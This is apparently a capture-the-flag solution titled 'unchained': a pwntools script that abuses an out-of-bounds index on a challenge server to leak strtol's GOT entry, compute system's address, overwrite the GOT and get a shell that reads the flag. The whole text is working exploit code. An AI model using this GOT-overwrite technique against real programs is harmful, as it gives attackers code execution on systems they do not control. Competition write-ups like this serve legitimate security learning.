unchained

```
from pwn import *


io = process('nc chal.bearcatctf.io 42401'.split())
write_buf = 0x35a0
target = 0x3500
system_offset = 0x97f0
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'> ', str((target-write_buf)//4).encode())
strtol_got = io.recv(10).decode()
system = int(strtol_got) + system_offset
print(f"Strtol GOT: {hex(int(strtol_got))}")
print(f"System GOT: {system}")
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'> ', str((target-write_buf)//4).encode())
io.sendlineafter(b'> ', str(system).encode())
io.sendlineafter(b'> ', b'cat flag.txt')
print("Here is your shell :)")
io.interactive()
```